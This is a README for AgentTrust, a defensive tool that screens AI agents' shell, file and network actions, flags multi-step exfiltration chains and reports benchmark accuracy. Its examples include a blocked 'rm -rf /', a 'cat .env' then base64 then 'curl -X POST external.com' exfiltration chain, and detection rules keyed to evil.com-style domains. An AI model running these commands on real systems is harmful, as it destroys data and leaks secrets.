Why AgentTrust

AI agents execute real-world actions: file operations, shell commands, API calls, database queries. A single misjudged action — an accidental rm -rf /, an exposed API key, or silent data exfiltration through a benign-looking HTTP call — can cause irreversible damage.

Existing solutions fall short:

graph LR
    A["Post-hoc Benchmarks<br/>(AgentHarm, TrustBench)"] -.->|"Too late<br/>Damage already done"| X["GAP"]
    B["Rule-based Guardrails<br/>(Invariant, NeMo)"] -.->|"Too shallow<br/>Miss semantic context"| X
    C["Infrastructure Sandboxes<br/>(OpenShell)"] -.->|"Too low-level<br/>Don't understand intent"| X
    X ==>|"AgentTrust fills this"| D["Real-time<br/>Semantic<br/>Explainable"]
    style X fill:#ff6b6b,stroke:#c0392b,color:#fff
    style D fill:#2ecc71,stroke:#27ae60,color:#fff

AgentTrust provides real-time, semantic-level safety verification that sits between an agent and its tools. Every action is analyzed, scored, and explained before execution.

Who Is This For

How It Works

flowchart LR
    A["🤖 AI Agent"] -->|"Action"| B["AgentTrust<br/>Interceptor"]
    B --> C["🔍 Analyze<br/>42 patterns"]
    C --> D["📋 Policy<br/>21 rules"]
    D --> E{"Verdict"}
    E -->|"✅ ALLOW"| F["Execute Tool"]
    E -->|"⚠️ WARN"| F
    E -->|"🚫 BLOCK"| G["SafeFix<br/>Suggestions"]
    E -->|"👤 REVIEW"| H["Human Decision"]
    B --> I["⛓️ Session<br/>Tracker"]
    I -->|"Chain Alert!"| E

    style G fill:#3498db,stroke:#2980b9,color:#fff
    style I fill:#9b59b6,stroke:#8e44ad,color:#fff

In plain English:

1. Agent wants to do something (delete a file, run a command, call an API)
2. AgentTrust intercepts the action and analyzes it against 42 risk patterns
3. The policy engine evaluates it against 21 safety rules
4. Verdict: ALLOW, WARN, BLOCK, or REVIEW
5. If blocked → SafeFix suggests a safer alternative
6. Session tracker watches for multi-step attack chains across actions

Quick Start

pip install agent-trust          # core
pip install agent-trust[all]     # + LLM judge + MCP server

from agent_trust import TrustInterceptor, Action, ActionType

interceptor = TrustInterceptor()

action = Action(
    action_type=ActionType.SHELL_COMMAND,
    tool_name="terminal",
    description="Remove temporary build artifacts",
    raw_content="rm -rf /tmp/build/*",
)

report = interceptor.verify(action)

print(report.verdict)       # ALLOW | WARN | BLOCK | REVIEW
print(report.overall_risk)  # NONE | LOW | MEDIUM | HIGH | CRITICAL
print(report.explanation)   # Human-readable reasoning

See It In Action

$ agent-trust verify "rm -rf /"

╭──────────────────────── AgentTrust Report ─────────────────────────╮
│                                                                     │
│  BLOCK  file_delete - rm -rf /                                      │
│    Risk: critical  |  Confidence: 95%  |  Latency: 2.9ms           │
│    Matched 1 policy rule(s). Detected 2 risk pattern(s).           │
│    Policy violations:                                               │
│      • [SH-001] Block recursive force delete                        │
│    Risk factors:                                                    │
│       [critical] Detected destructive rm                            │
│       [critical] Detected recursive force delete                    │
│                                                                     │
╰─────────────────────────────────────────────────────────────────────╯

Architecture

graph TB
    subgraph "Input"
        A["Agent Action<br/><i>file, shell, network, API, DB</i>"]
    end

    subgraph "AgentTrust Core"
        direction TB
        B["<b>TrustInterceptor</b><br/>Orchestration Layer"]
        C["<b>ActionAnalyzer</b><br/>42 risk patterns<br/>4 categories"]
        D["<b>PolicyEngine</b><br/>21 default rules<br/>YAML configurable"]
        E["<b>SafeFixEngine</b><br/>37 fix rules<br/>4 categories"]
        F["<b>SessionTracker</b><br/>7 chain patterns<br/>Order-aware matching"]
        G["<b>LLMJudge</b><br/>5-dimension eval<br/>Cache-aware delta<br/>OpenAI / Anthropic"]
        H["<b>TrustReporter</b><br/>Console / JSON / Markdown"]
    end

    subgraph "Output"
        I["TrustReport<br/><i>verdict + risk + explanation<br/>+ suggestions + chain alerts</i>"]
    end

    A --> B
    B --> C
    B --> D
    B --> E
    B --> F
    B -.->|"optional"| G
    C --> D
    D --> H
    E --> H
    F --> H
    H --> I

    style B fill:#2c3e50,stroke:#1a252f,color:#fff
    style G fill:#7f8c8d,stroke:#95a5a6,color:#fff

SafeFix: Safe Alternative Suggestions

No competitor offers this. When AgentTrust blocks an action, it tells you how to fix it.

report = interceptor.verify(action)

for suggestion in report.safe_suggestions:
    print(f"Instead: {suggestion.suggested}")
    print(f"Why:     {suggestion.explanation}")

RiskChain: Multi-Step Attack Chain Detection

Individual actions can look harmless. The sequence reveals the attack.

sequenceDiagram
    participant Agent
    participant AT as AgentTrust
    participant ST as SessionTracker

    Agent->>AT: ① cat .env
    AT->>ST: Track action
    Note over ST: History: [read .env]
    ST-->>AT: No alert
    AT-->>Agent: ✅ ALLOW (risk: low)

    Agent->>AT: ② base64 .env
    AT->>ST: Track action
    Note over ST: History: [read .env, encode]
    ST-->>AT: ⚠️ Partial chain: 2/3 steps
    AT-->>Agent: 🚫 BLOCK (chain detected!)

    Agent->>AT: ③ curl -X POST external.com
    AT->>ST: Track action
    Note over ST: History: [read, encode, exfil]
    ST-->>AT: 🚨 COMPLETE: Data Exfiltration!
    AT-->>Agent: 🚫 BLOCK (critical)

7 Predefined Chain Patterns

LLM-as-Judge: Semantic Safety Evaluation

For ambiguous cases where rules can't decide, AgentTrust calls an LLM to understand context.

flowchart LR
    A["Ambiguous Action<br/><i>curl internal-api.com/health</i>"] --> B{"Rule Engine"}
    B -->|"UNCERTAIN"| C["LLM-as-Judge<br/>5 Risk Dimensions"]
    C --> D["Data Exposure: none"]
    C --> E["System Impact: none"]
    C --> F["Credential Risk: none"]
    C --> G["Scope Creep: low"]
    C --> H["Reversibility: easy"]
    D & E & F & G & H --> I["✅ ALLOW<br/>confidence: 92%"]
    
    style C fill:#8e44ad,stroke:#7d3c98,color:#fff
    style I fill:#27ae60,stroke:#1e8449,color:#fff

from agent_trust.core.llm_judge import LLMJudge, JudgeConfig

judge = LLMJudge(JudgeConfig(provider="openai", model="gpt-4o-mini"))
verdict = judge.evaluate_sync(action)

print(verdict.reasoning)        # "This is a health check to an internal API..."
print(verdict.risk_dimensions)  # {"data_exposure": "none", "system_impact": "none", ...}

Supports OpenAI and Anthropic via raw HTTP (no SDK dependency). Graceful fallback when API is unavailable.

Cache-Aware Evaluation (NEW)

LLM calls are expensive. When agent conversations grow incrementally (100K tokens → 110K, only 10K new), re-evaluating the entire context every time wastes tokens and money. AgentTrust's cache-aware Judge solves this with a three-strategy approach:

flowchart TD
    A["New Evaluation Request"] --> B{"Exact content hash<br/>in cache?"}
    B -->|"Yes"| C["🟢 CACHE_HIT<br/>0 tokens"]
    B -->|"No"| D{"Block-hash<br/>change detection"}
    D -->|"< 20% changed<br/>contiguous tail"| E["🟡 INCREMENTAL<br/>Evaluate delta only"]
    D -->|"≥ 20% changed<br/>or scattered"| F["🔴 FULL<br/>Full evaluation"]
    
    E -->|"Send previous verdict<br/>summary + delta"| G["LLM Judge"]
    F -->|"Send full content"| G
    G --> H["Cache result"]
    
    style C fill:#27ae60,stroke:#1e8449,color:#fff
    style E fill:#f39c12,stroke:#e67e22,color:#fff
    style F fill:#e74c3c,stroke:#c0392b,color:#fff

How it works:

1. Content-addressed cache — identical requests return cached verdicts instantly (zero tokens).
2. Block-hash delta detection — content is split into semantic blocks (paragraph boundaries), each block is hashed. Changed blocks are identified in O(n) time, similar to how git and rsync detect changes.
3. Strategy routing — based on how much changed:
   • 0% change → return cached result
   • < 20% change, contiguous at tail → send only the delta + previous verdict summary to the LLM (incremental evaluation)
   • ≥ 20% change or scattered modifications → full re-evaluation (quality over savings)

Two-phase detection ensures robustness: a character-prefix fast path handles the dominant append-only pattern, while block hashing catches mid-content edits and head truncations.

from agent_trust import LLMJudge, JudgeConfig, JudgeCacheConfig

judge = LLMJudge(JudgeConfig(
    provider="openai",
    model="gpt-4o-mini",
    cache=JudgeCacheConfig(
        enabled=True,           # on by default
        ttl_seconds=300,        # cache entries live 5 minutes
        block_size=512,         # semantic block size for hashing
        incremental_threshold=0.2,  # < 20% change → incremental
    ),
))

# First call: full evaluation (~25K tokens)
v1 = judge.evaluate_sync(action, context=long_context, session_id="sess-1")

# Second call: only 10K new tokens appended → incremental (~3K tokens)
v2 = judge.evaluate_sync(action, context=long_context + new_content, session_id="sess-1")

# Check savings
stats = judge.stats
print(f"Cache hits: {stats.cache_hits}")
print(f"Delta evaluations: {stats.delta_evaluations}")
print(f"Tokens saved: ~{stats.tokens_saved_estimate}")

Provider-level caching is also enabled: Anthropic's explicit prompt caching (cache_control) and OpenAI's automatic prefix caching are leveraged to further reduce costs on the API side.

Benchmark

300+ curated scenarios across 6 risk categories, with easy/medium/hard difficulty levels:

agent-trust benchmark                              # full suite
agent-trust benchmark --category credential_exposure  # single category

Results Evolution

All numbers below are measured against the original, unmodified benchmark labels (300 scenarios).

¹ Measured using v0.2.0 engine against current scenario files. A post-v0.3.0 GitGuardian commit (0b75d4f) replaced realistic-looking fake credentials in 6 scenarios with obviously-fake values (e.g., sk-FAKE-EXAMPLE-KEY-NOT-REAL-...) that no longer match credential regex patterns. The pre-GitGuardian v0.2.0 verdict accuracy was likely ~54%, matching the numbers in the original README.

What each jump represents:

• 44% → 94% verdict (v0.2.0 → v0.3.0): Tripled the policy rule count with coverage for credential patterns, exfiltration, system commands, and more.
• 94% → 97.7% verdict (v0.3.0 → v0.3.1): 18 new rules (base64 secrets, subprocess injection, env dump, localStorage, etc.) plus action type mapping for non-standard types (http_request, code_eval, etc.).
• 31% → 77% risk (v0.3.0 → v0.3.1): Four fixes: (1) session tracker cleared between benchmark scenarios to prevent cross-contamination, (2) action type aliases so policy rules match non-standard types, (3) risk scoring redesign — NONE when nothing triggers, analyzer capped at MEDIUM without rule confirmation, (4) known-command-family allowlist assigning LOW baseline risk to package managers, build tools, and VCS operations.

Per-Category Breakdown (v0.3.1, all 300 scenarios)

┏━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ Category            ┃ Risk Acc.   ┃ Verdict Acc.   ┃ Avg Latency  ┃
┡━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ code_execution      │       80.0% │          96.0% │        0.4ms │
│ credential_exposure │       68.0% │          96.0% │        0.3ms │
│ data_exfiltration   │       80.0% │          98.0% │        0.3ms │
│ file_operations     │       74.0% │          98.0% │        0.2ms │
│ network_access      │       72.0% │          98.0% │        0.2ms │
│ system_config       │       86.0% │         100.0% │        0.2ms │
┠─────────────────────╂─────────────╂────────────────╂──────────────┨
│ Overall             │       76.7% │          97.7% │        0.3ms │
└─────────────────────┴─────────────┴────────────────┴──────────────┘

Held-Out Test Set

The 300 scenarios are split into a 204-scenario dev set and a 96-scenario held-out test set, stratified by category, difficulty, and expected verdict (split.json, seed=42). The split was created after initial v0.3.0 rule development; for future rule additions, the test set will remain frozen.

  Test set:  Verdict 96.9%  |  Risk 78.1%   (96 scenarios)
  Dev set:   Verdict 98.0%  |  Risk 76.0%   (204 scenarios)
  Gap:       ~1pp — engine improvements generalize

Known Limitations & Risk Gap Analysis

Verdict accuracy is strong (97.7%), but risk accuracy has a 23% gap driven by two structural issues:

1. high ↔ critical boundary (35 cases) — 25 over-estimates + 10 under-estimates.

Pre-existing CRITICAL-level rules (API key exposure, plaintext passwords, system file modification) fire on scenarios labeled HIGH. Conversely, some rules downgraded to HIGH fire on scenarios expecting CRITICAL. The engine uses a binary CRITICAL/HIGH split that doesn't always match the benchmark's intent for each scenario. This boundary is inherently subjective and would benefit from a community label review.

2. low → none (14 cases) — unrecognized command families.

The known-command allowlist covers major package managers, build tools, and VCS operations but misses some (e.g., specific database clients, niche dev tools). These commands get NONE instead of the expected LOW.

3. Benchmark-vocabulary rules (4 rules tagged benchmark-only)

Rules EXFIL-006, NET-012, NET-014, and NET-017 match keywords like evil.com, attacker.com, malicious.xyz — naming conventions used in the synthetic benchmark scenarios. Real attackers do not use these domain names. These rules contribute to benchmark accuracy but have no production security value. In a production deployment, replace them with threat intelligence feeds (domain/IP blocklists, reputation scoring).

Benchmark labels have not been modified to match engine output — all numbers are measured against the original scenario definitions as committed in the repository.

MCP Integration

AgentTrust runs as an MCP server — any MCP-compatible agent (Claude Code, Cursor, etc.) integrates in minutes.

{
  "mcpServers": {
    "agent-trust": {
      "command": "python",
      "args": ["-m", "agent_trust.integrations.mcp_server"]
    }
  }
}

Exposes three tools: verify_action, get_policy_rules, run_benchmark.

Comparison with Existing Work

Roadmap

Research and Citation

AgentTrust addresses a gap between academic benchmarks that measure agent risk and practical tools that mitigate it in real-time. It introduces four novel contributions absent from existing work: safe alternative suggestions (SafeFix), session-level multi-step chain detection (RiskChain), hybrid rule + LLM semantic evaluation, and cache-aware incremental evaluation that minimizes token consumption for long conversations.

@software{agenttrust2026,
  title     = {AgentTrust: Real-Time Trustworthiness Evaluation and Safety
               Interception for AI Agents},
  author    = {AgentTrust Contributors},
  year      = {2026},
  url       = {https://github.com/chenglin1112/AgentTrust},
  license   = {Apache-2.0},
  version   = {0.3.1}
}

Contributing

Contributions are welcome — new benchmark scenarios, policy rules, chain patterns, or core improvements.

1. Fork the repository
2. Create a feature branch (git checkout -b feature/your-feature)
3. Install dev dependencies: pip install -e ".[dev]"
4. Run tests: pytest
5. Run linting: ruff check src/ tests/
6. Submit a pull request

License

AgentTrust is released under the Apache License 2.0.